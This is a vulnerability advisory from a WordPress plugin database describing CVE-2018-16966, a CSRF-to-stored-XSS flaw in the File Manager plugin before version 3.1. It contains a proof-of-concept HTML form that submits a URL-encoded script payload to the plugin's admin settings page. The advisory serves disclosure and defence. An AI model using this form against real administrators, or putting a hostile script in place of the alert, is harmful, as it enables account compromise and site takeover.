File Manager < 3.1 – CSRF to Stored Cross-Site Scripting | CVE 2018-16966 | Plugin Vulnerabilities

Description

The plugin is lacking CSRF as well as sanitisation checks, allowing attackers to perform CSRF attacks against logged in administrators and set an XSS payload in the public_path setting.

Proof of Concept

<form method="POST" action="https://example.com/wp-admin/admin.php?page=wp_file_manager_root"> 
   <input type="text" name="public_path" value="%22%3E%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E"><br />
   <input type="text" name="submit" value="Save Changes"><br />
  <input type="submit">
</form>

Affects Plugins

wp-file-manager

Fixed in 3.1

References

CVE

CVE

URL

https://ansawaf.blogspot.com/2019/04/file-manager-plugin-wordpress-plugin.html

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Verified

No

WPVDB ID

50bd65b2-b546-47c0-8cdc-2e650319744c

Timeline

Publicly Published

2018-09-17 (about 7 years ago)

Added

2019-08-23 (about 6 years ago)

Last Updated

2020-08-26 (about 5 years ago)

Other

Published

Title

Published

2025-03-09

Title

WPBookit < 1.0.2 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2023-12-04

Title

Product Enquiry for WooCommerce < 3.1 - Cross-Site Request Forgery

Published

2022-02-16

Title

Powerkit < 2.5.9 - Post Views Settings Update/Reset via CSRF

Published

2024-10-18

Title

GoogleDrive folder list <= 2.2.2 - Cross-Site Request Forgery to Stored Cross-Site Scripting

Published

2025-06-05

Title

Wp Easy Allopass <= 4.1.1 - Cross-Site Request Forgery